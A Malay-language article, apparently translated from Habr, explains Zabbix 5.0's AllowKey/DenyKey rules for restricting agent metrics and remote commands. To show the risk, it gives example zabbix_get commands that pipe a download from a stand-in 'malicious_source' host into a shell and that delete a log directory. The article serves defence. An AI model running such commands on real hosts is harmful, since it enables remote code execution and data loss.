Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen

Tikhon Uskov, Jurutera Integrasi, Zabbix

Isu keselamatan data

Zabbix 5.0 mempunyai ciri baharu yang membolehkan anda meningkatkan keselamatan dalam sistem menggunakan Zabbix Agent dan menggantikan parameter lama EnableRemoteCommands.

Penambahbaikan dalam keselamatan sistem berasaskan ejen berpunca daripada fakta bahawa ejen boleh melakukan sejumlah besar tindakan yang berpotensi berbahaya.

  • Ejen boleh mengumpul hampir semua maklumat, termasuk maklumat sulit atau berpotensi berbahaya, daripada fail konfigurasi, fail log, fail kata laluan atau mana-mana fail lain.

Contohnya, menggunakan utiliti zabbix_get anda boleh mengakses senarai pengguna, direktori rumah mereka, fail kata laluan, dsb.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Mengakses data menggunakan utiliti zabbix_get

NOTA. Data hanya boleh diambil jika ejen telah membaca kebenaran pada fail yang sepadan. Tetapi, sebagai contoh, fail /etc/passwd/ boleh dibaca oleh semua pengguna.

  • Ejen juga boleh melaksanakan arahan yang berpotensi berbahaya. Sebagai contoh, kunci *system.run[]** membolehkan anda melaksanakan sebarang arahan jauh pada nod rangkaian, termasuk menjalankan skrip daripada antara muka web Zabbix yang turut melaksanakan arahan pada bahagian ejen.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Di Linux, ejen berjalan secara lalai tanpa keistimewaan root, manakala pada Windows ia berjalan sebagai perkhidmatan sebagai Sistem dan mempunyai akses tanpa had kepada sistem fail. Sehubungan itu, jika tiada perubahan dibuat pada parameter Ejen Zabbix selepas pemasangan, ejen mempunyai akses kepada pendaftaran, sistem fail dan boleh melaksanakan pertanyaan WMI.

Dalam versi terdahulu parameter EnableRemoteCommands=0 dibenarkan hanya untuk melumpuhkan metrik dengan kunci *system.run[]** dan menjalankan skrip daripada antara muka web, tetapi tiada cara untuk menyekat akses kepada fail individu, membenarkan atau melumpuhkan kunci individu yang dipasang dengan ejen atau mengehadkan penggunaan parameter individu.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Menggunakan parameter EnableRemoteCommand dalam versi Zabbix yang terdahulu

AllowKey/DenyKey

Zabbix 5.0 membantu melindungi daripada akses tanpa kebenaran tersebut dengan menyediakan senarai putih dan senarai hitam untuk membenarkan dan menafikan metrik di pihak ejen.

Dalam Zabbix 5.0 semua kekunci, termasuk *system.run[]** didayakan dan dua pilihan konfigurasi ejen baharu telah ditambahkan:

AllowKey= - cek yang dibenarkan;

DenyKey= - cek terlarang;

di mana ialah corak nama kunci dengan parameter yang menggunakan aksara meta (*).

Kekunci AllowKey dan DenyKey membolehkan anda membenarkan atau menafikan metrik individu berdasarkan corak tertentu. Tidak seperti parameter konfigurasi lain, bilangan parameter AllowKey/DenyKey tidak terhad. Ini membolehkan anda mentakrifkan dengan jelas apa sebenarnya yang boleh dilakukan oleh ejen dalam sistem dengan mencipta pepohon semakan - kunci boleh laku, di mana susunan ia ditulis memainkan peranan yang sangat penting.

Urutan peraturan

Peraturan disemak mengikut urutan di mana ia dimasukkan ke dalam fail konfigurasi. Kunci disemak mengikut peraturan sebelum perlawanan pertama, dan sebaik sahaja kunci elemen data sepadan dengan corak, ia dibenarkan atau dinafikan. Selepas ini, pemeriksaan peraturan berhenti dan kunci yang tinggal diabaikan.

Oleh itu, jika elemen sepadan dengan peraturan membenarkan dan menafikan, keputusan akan bergantung pada peraturan mana yang pertama dalam fail konfigurasi.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

2 peraturan berbeza dengan corak dan kunci yang sama vfs.file.size[/tmp/file]

Urutan penggunaan kekunci AllowKey/DenyKey:

  1. peraturan yang tepat,
  2. peraturan umum,
  3. peraturan larangan.

Sebagai contoh, jika anda memerlukan akses kepada fail dalam folder tertentu, anda mesti terlebih dahulu membenarkan akses kepadanya, dan kemudian menafikan semua perkara lain yang tidak termasuk dalam kebenaran yang ditetapkan. Jika peraturan penafian digunakan dahulu, akses kepada folder akan dinafikan.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Urutan yang betul

Jika anda perlu membenarkan 2 utiliti dijalankan melalui *system.run[]**, dan peraturan penafian akan ditentukan dahulu, utiliti tidak akan dilancarkan, kerana corak pertama akan sentiasa sepadan dengan mana-mana kunci dan peraturan seterusnya akan diabaikan.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Urutan yang salah

Corak

Peraturan asas

Corak ialah ungkapan dengan kad bebas. Metacharacter (*) sepadan dengan sebarang nombor mana-mana aksara pada kedudukan tertentu. Metacharacter boleh digunakan dalam nama kunci dan dalam parameter. Sebagai contoh, anda boleh menentukan parameter pertama dengan ketat dengan teks, dan nyatakan yang berikutnya sebagai kad bebas.

Parameter mesti disertakan dalam kurungan segi empat sama [].

  • system.run[* - tidak betul
  • vfs.file*.txt] - tidak betul
  • vfs.file.*[*] - betul

Contoh penggunaan wildcard.

  1. Dalam nama kunci dan dalam parameter. Dalam kes ini, kunci tidak sepadan dengan kunci serupa yang tidak mengandungi parameter, kerana dalam corak kami menunjukkan bahawa kami ingin menerima penghujung tertentu nama kunci dan set parameter tertentu.
  2. Jika corak tidak menggunakan kurungan segi empat sama, corak membenarkan semua kekunci yang tidak mengandungi parameter dan menafikan semua kekunci yang mengandungi parameter yang ditentukan.
  3. Jika kunci ditulis sepenuhnya dan parameter dinyatakan sebagai kad bebas, ia akan memadankan mana-mana kunci yang serupa dengan mana-mana parameter dan tidak akan sepadan dengan kunci tanpa kurungan segi empat sama, iaitu ia akan dibenarkan atau dinafikan.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Peraturan untuk mengisi parameter.

  • Jika kunci dengan parameter bertujuan untuk digunakan, parameter mesti dinyatakan dalam fail konfigurasi. Parameter mesti dinyatakan sebagai metacharacter. Anda perlu berhati-hati menafikan akses kepada mana-mana fail dan mengambil kira maklumat yang boleh diberikan oleh metrik di bawah ejaan berbeza - dengan dan tanpa parameter.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Ciri-ciri menulis kunci dengan parameter

  • Jika kunci ditentukan dengan parameter, tetapi parameter adalah pilihan dan dinyatakan sebagai metacharacter, kunci tanpa parameter akan diselesaikan. Sebagai contoh, jika anda ingin melumpuhkan penerimaan maklumat tentang beban pada CPU dan menentukan bahawa kekunci system.cpu.load[*] harus dilumpuhkan, jangan lupa bahawa kunci tanpa parameter akan mengembalikan nilai beban purata.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Peraturan untuk mengisi parameter

Nota

pelarasan

  • Sesetengah peraturan tidak boleh diubah oleh pengguna, contohnya, peraturan penemuan atau peraturan pendaftaran automatik ejen. Peraturan AllowKey/DenyKey tidak menjejaskan parameter berikut:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTA. Jika pentadbir melumpuhkan kunci, apabila ditanya, Zabbix tidak memberikan maklumat tentang sebab metrik atau kunci itu termasuk dalam kategori 'TIDAK DISOKONG'. Maklumat tentang larangan melaksanakan arahan jauh juga tidak dipaparkan dalam fail log ejen. Ini adalah atas sebab keselamatan, tetapi mungkin merumitkan penyahpepijatan jika metrik termasuk dalam kategori yang tidak disokong atas sebab tertentu.

  • Anda tidak seharusnya bergantung pada sebarang susunan khusus untuk menyambungkan fail konfigurasi luaran (contohnya, dalam susunan abjad).

Utiliti Barisan Perintah

Selepas menetapkan peraturan, anda perlu memastikan semuanya dikonfigurasikan dengan betul.

Anda boleh menggunakan salah satu daripada tiga pilihan:

  • Tambahkan metrik pada Zabbix.
  • Uji dengan zabbix_agentd. Ejen Zabbix dengan pilihan -cetak (-p) menunjukkan semua kekunci (yang dibenarkan secara lalai) kecuali yang tidak dibenarkan oleh konfigurasi. Dan dengan pilihan -ujian (-t) kerana kunci terlarang akan kembali 'Kunci item tidak disokong'.
  • Uji dengan zabbix_get. Utiliti zabbix_get dengan pilihan -k akan kembali 'ZBX_NOTSUPPORTED: Metrik tidak diketahui'.

Benarkan atau tolak

Anda boleh menafikan akses kepada fail dan mengesahkan, sebagai contoh, menggunakan utiliti zabbix_getbahawa akses kepada fail dinafikan.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

**

NOTA. Petikan dalam parameter diabaikan.

Dalam kes ini, akses kepada fail sedemikian mungkin dibenarkan melalui laluan yang berbeza. Sebagai contoh, jika pautan sym membawa kepadanya.

Sokongan senarai hitam dan senarai putih untuk metrik sebelah ejen dalam Zabbix 5.0

Adalah disyorkan untuk menyemak pelbagai pilihan untuk menggunakan peraturan yang ditentukan, dan juga mengambil kira kemungkinan untuk memintas larangan.

Soalan dan Jawapan

Soalan. Mengapakah corak yang begitu kompleks dengan bahasanya sendiri dipilih untuk menerangkan peraturan, kebenaran dan larangan? Mengapakah tidak mungkin untuk menggunakan, sebagai contoh, ungkapan biasa yang Zabbix gunakan?

Jawab. Ini ialah isu prestasi regex kerana biasanya hanya terdapat satu ejen dan ia menyemak sejumlah besar metrik. Regex adalah operasi yang agak berat dan kami tidak boleh menyemak beribu-ribu metrik dengan cara ini. Kad bebas - penyelesaian universal, digunakan secara meluas dan mudah.

Soalan. Bukankah fail Sertakan disertakan dalam susunan abjad?

Jawab. Setakat yang saya tahu, hampir mustahil untuk meramalkan susunan peraturan akan digunakan jika anda menyebarkan peraturan itu ke seluruh fail yang berbeza. Saya mengesyorkan mengumpul semua peraturan AllowKey/DenyKey dalam satu fail Include, kerana ia berinteraksi antara satu sama lain dan termasuk fail ini.

Soalan. Dalam Zabbix 5.0 pilihan 'EnableRemoteCommands=' tiada daripada fail konfigurasi dan hanya AllowKey/DenyKey sahaja yang tersedia?

Jawab. Ya betul.

Thank you!

Sumber: www.habr.com

Tambah komen